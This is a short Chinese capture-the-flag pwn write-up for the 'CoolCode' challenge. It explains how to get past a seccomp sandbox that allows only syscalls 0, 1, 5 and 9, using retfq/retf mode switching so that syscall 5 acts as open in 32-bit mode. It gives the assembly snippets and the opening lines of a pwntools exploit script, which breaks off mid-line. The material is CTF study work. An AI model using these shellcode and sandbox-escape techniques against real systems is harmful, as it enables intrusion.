人在楼顶,感觉良好。
目前的自己还是只能做一些常规的Liunx下的PWN题,对其他的我就是个废物了。
CoolCode
这个题主要是shellcode非常的难构造。
比赛的时候whali3n51大师傅做出来的,我只是复现了他的payload。
本题目沙盒只剩下了0,1,5,9四个函数调用。
当我们想构造ORW的时候,没有open函数怎么办。
这个时候我们知道5在32位下是open。
那么我们考虑用retfq修改cs寄存器从而修改运行模式。
具体参考:https://xz.aliyun.com/t/6645#toc-5
将模式改为32位汇编(0x602710+0x8=0x23)
mov esp, 0x1010101 /* 6301456 == 0x602710 */
xor esp, 0x1612611
retfq
将模式改为64位汇编(esp+0x4=0x33)
push 0x33
push 0x10703756
pop eax
xor eax,0x10101010
add eax,0xc
push eax
retf
exp:
# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'd